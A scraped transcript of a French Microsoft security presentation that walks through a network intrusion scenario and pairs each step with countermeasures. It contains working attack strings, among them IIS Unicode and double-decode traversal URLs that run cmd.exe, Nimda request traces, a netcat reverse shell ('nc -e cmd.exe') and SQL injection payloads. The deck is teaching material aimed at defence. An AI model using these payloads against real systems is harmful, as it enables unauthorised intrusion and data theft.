1 / 35

Méthodes d’attaque et contre-mesures

Méthodes d’attaque et contre-mesures. Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France. Avertissement. Le but de cette présentation est pédagogique:

saxon
Download Presentation

Méthodes d’attaque et contre-mesures

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Méthodes d’attaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

  2. Avertissement • Le but de cette présentation est pédagogique: • Illustrer certaines faiblesses, certaines erreurs courantes en s’appuyant sur des attaques connues • Et surtout en déduire les moyens de mieux vous protéger, pour éviter ces types d’attaques • Important : les attaques faisant intervenir des vulnérabilités ont été choisies pour illustrer les propos, et font volontairement appel à des vulnérabilités connues depuis plusieurs mois ou années et dont les corrections sont disponibles et largement diffusées

  3. Rappel : la loi sanctionne… • Loi du 5 janvier 1986 relative a la fraude informatique, dite Loi Godefrain • Articles 323-1 et suivants du Code pénal • 323-1 : Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un système de traitement automatisé de données est puni d'un an d'emprisonnement et de 15000 euros d'amende.   Lorsqu'il en est résulté soit la suppression ou la modification de données contenues dans le système, soit une altération du fonctionnement de ce système, la peine est de deux ans d'emprisonnement et de 30000 euros d'amende. • 323-2 :  Le fait d'entraver ou de fausser le fonctionnement d'un système de traitement automatisé de données est puni de trois ans d'emprisonnement et de 45000 euros d'amende. • 323-3 : Le fait d'introduire frauduleusement des données dans un système de traitement automatisé ou de supprimer ou de modifier frauduleusement les données qu'il contient est puni de trois ans d'emprisonnement et de 45000 euros d'amende.

  4. Démarche théorique… • Renseignement • Scanning • Énumération • Pénétration • Élévation de privilège • Accès interactif • Nettoyage

  5. …dans la pratique : • Énumérer tout ce que l’on peut (adresses, ports, services, OS, versions, utilisateurs…) • Tester toutes les vulnérabilités connues • Contourner les protections, trouver la petite porte • Casser les mots de passe • Installer son rootkit • Cacher ses traces

  6. Scénario • Jean-Kevin fait un stage au service courrier chez PLA S.A. (Pieds de Lunettes Astronomiques)… • …Il est mal payé… • …Il a du temps… • …Il apporte son PC portable et le branche sur le réseau. • 2003 CSI/FBI Computer Crime and Security Survey : • Les formes d’attaques citées le plus souvent sont les virus (82%) et les abus par des utilisateurs internes (80%)

  7. Réseau à découvrir

  8. Ping Sweep • Objectif : énumérer les machines qui répondent au Ping (ICMP Echo Request) • Outils : • Ping (Windows) • Nmap -sP (Fyodor, insecure.org) • sl -n (ScanLine, ex-fscan de Foundstone) • …

  9. Adresses et noms VENUS HALLEY MARS 192.168.11.3 192.168.11.4 192.168.11.2 192.168.11.10

  10. Port Scanning • Objectif : énumérer les services présents sur une machine (Ports TCP et UDP « ouverts ») • Outils : • Nmap (insecure.org) • sl (Foundstone) • SuperScan (Foundstone)

  11. Services VENUS HALLEY MARS DC DC SQL SMTP HTTP HTTPS 192.168.11.3 192.168.11.4 192.168.11.2 192.168.11.10

  12. Détermination des versions • Versions des OS • Versions des services • Exemple : • Outils : • nc (NetCat : @Stake) • Nmap -sV -O C:\>nc www.msn.com 80 HEAD / HTTP/1.0 HTTP/1.1 403 Access Forbidden Server: Microsoft-IIS/5.0 Date: Thu, 08 Apr 2004 20:55:19 GMT Content-Type: text/html Content-Length: 172

  13. Version des OS VENUS HALLEY MARS DC DC SQL IIS W2000 W2000 W2000 192.168.11.3 192.168.11.4 192.168.11.2 192.168.11.10

  14. Énumération NetBIOS • Objectifs : machines, domaines, contrôleurs de domaine • Outils : • Nbtstat • Nbtscan Name Service Type ---------------------------------------- CORP-DC <00> UNIQUE CORP-DC <20> UNIQUE CORP <00> GROUP CORP <1c> GROUP CORP <1b> UNIQUE CORP-DC <03> UNIQUE CORP <1e> GROUP INet~Services <1c> GROUP IS~CORP-DC <00> UNIQUE CORP <1d> UNIQUE ??__MSBROWSE__? <01> GROUP ADMIN <03> UNIQUE Contrôleurde domaine Utilisateur

  15. PLA FINANCE VENUS HALLEY MARS DC DC SQL IIS W2000 W2000 W2000 192.168.11.3 192.168.11.4 192.168.11.2 192.168.11.10

  16. Contre-mesures • Bloquer l’accès aux ressources pour les machines qui n’appartiennent pas au domaine • IPsec avec authentification Kerberos • Authentification 802.1x sur les switches • Même principe que réseaux Wi-Fi • Authentification couche 2

  17. Sessions anonymes • Accès anonymes à des ressources • net use \\server /user:"" "" • Nombreux outils pour lister : • Utilisateurs • Groupes • Relations d’approbations • Contrôleurs de domaine • Membres • Stratégies de mots de passe

  18. Approbation Accès aux ressources DomA DomB Relations d’approbation • Système de SSO depuis NT 3.x • Si DomB approuve DomA (DomB  DomA), un utilisateur de DomA a accès à des ressources de DomB • Risque du SSO : • Un compte compromis donne accès à l’ensemble des ressources • Découverte des relations d’approbation : • nltest /domain_trusts

  19. Approbation pla.net finance.local VENUS HALLEY MARS DC DC SQL IIS W2000 W2000 W2000 192.168.11.3 192.168.11.4 192.168.11.2 192.168.11.10

  20. Énumération des utilisateurs et groupes • Informations intéressantes : • Administrateurs • Comptes « temporaires », « de test » • Comptes de service, applicatifs • Comptes inactifs • Mots de passe évidents, par défaut, ou en commentaire • Outils : • Nete, Nbtenum, Enum, UserDump, UserInfo, DumpSec

  21. Contre-mesuresSessions anonymes • Stratégies de groupe : • Windows 2000 : • Additional restrictions for anonymous connections • Windows XP/2003 : • Do not allow anonymous enumeration of SAM accounts • Do not allow anonymous enumeration of SAM accounts and shares • Let Everyone permissions apply to anonymous users • Base de registre

  22. Contre-mesuresEnumération des utilisateurs • Politique de gestion des comptes • Comptes administrateurs • Politique de mots de passe (longueur, complexité, verrouillage) • Audit des comptes inutilisés • Sans oublier de supprimer les LMhashes • Éviter les outils de « crack » de mots de passe • Stratégie de groupe ou registre : NoLMhash=1

  23. Attaques d’IIS • Trouver une vulnérabilité • Du serveur Web • De l’application hébergée

  24. File System traversal • Par défaut (NT4, W2K) : • /scripts est exécutable • Correspond à C:\Inetpub\Scripts • Windows dans C:\WINNT • Commandes systèmes dans :scripts/../../winnt/system32 • La séquence ../ est interdite • Des bugs (W2K pré-SP2 et pré-SP3) permettaient de contourner le contrôle de ../

  25. File System Traversal • UNICODE • RFC 2279 (codage UTF-8) – décodage après le contrôle de ‘../’ • %c0%af  ‘/’ • %c1%9c  ‘\’ • Corrigé dans MS00-057 et W2K SP2 • Double decode : décodage UTF-8, contrôle, puis 2ème décodage.. • %252f  %2f  ‘/’ • %25%32%66  %2f  ‘/’ • %255c  %5c  ‘\’ • Corrigé dans MS01-026 et W2K SP3

  26. File System Traversal • Pré SP2 : • http://server/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir • Pré SP3 : • http://server/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir • Exemples de commandes : • cmd.exe /c dir • cmd.exe /c echo xxx >> fichier.asp

  27. Trace de Nimda, sept. 2001 /scripts/..%255c../winnt/system32/cmd.exe /scripts/..%5c../winnt/system32/cmd.exe /scripts/root.exe /msadc/root.exe /c/winnt/system32/cmd.exe /d/winnt/system32/cmd.exe /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe /scripts/winnt/system32/cmd.exe /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe /scripts/..%c1%1c../winnt/system32/cmd.exe /scripts/..%c0%af../winnt/system32/cmd.exe /scripts/..%252f../winnt/system32/cmd.exe /scripts/..%c1%9c../winnt/system32/cmd.exe

  28. Mise en œuvre Serveur IIS (3) Ecoute :nc –l –p 2222 (1) Création de upload.asp (2) Copie de Netcat (nc.exe)et cmdasp.asp Attaquant (4) Connexion :nc –e cmd.exe xx.xx.xx.xx 2222

  29. Contre mesures • Répertoires web sur un volume séparé • IIS Lockdown (désactivation composants inutiles, ACLs) + URLScan • Application des correctifs de sécurité (liste avec MBSA) • Configurer le pare-feu et les stratégies IPsec pour ne laisser passer que les flux autorisés (source, destination, protocole, port) : IIS SQL TCP 80, 443 TCP 1433

  30. Attaque de SQL Server • Trouver une vulnérabilité • De SQL Server (ex : Slammer) • Des applications utilisant SQL Server (cross site scripting, injection SQL…) • Trouver un mot de passe (SQLdict.exe)

  31. Injection SQL • Non spécifique à IIS, ni à SQL Server • Principe : • Requête SQL construite avec une entrée de l’utilisateur • Exemple :sqlCommand.CommandText = "Select title_id, title, price From titles Where title like '%" + TextBox1.Text + "%'";Select title_id, title, price From titles Where title like '%XXX%'Select title_id, title, price From titles Where title like '%X' Or 1=1--%'Select title_id, title, price From titles Where title like '%X' Union select 'A',name,0 from master..sysdatabases--%'

  32. Contre mesures • Sécurité intégrée Windows • Mots de passe complexes • Qualité du code (procédures stockées, requêtes paramétrées, validation des entrées…)

  33. Conclusions • Erreur de manipulation de l’administrateur • Compte de test non désactivé • Absence de patch • IIS double decode, révélation de code • (Blaster, Sasser) • Erreur de développement • Buffer overflow • Injection SQL / utilisation de trop de privilèges • Cross-site scripting • Config par défaut pas assez sécurisée • LMHash • RestrictAnonymous

  34. Ressources disponibles • Security Guidance Centerhttp://www.microsoft.com/security/guidance/ • Site Microsoft sur la sécurité (tout public) • http://www.microsoft.com/france/securite/ • Site MSDN sur la sécurité (développeurs) • http://msdn.microsoft.com/security (en anglais) • Site Technet sur la sécurité (informaticiens) • http://www.microsoft.com/france/technet/themes/secur/default.asp • S'inscrire aux bulletins de sécurité : • http://www.microsoft.com/security/security_bulletins/alerts2.asp (en anglais)

More Related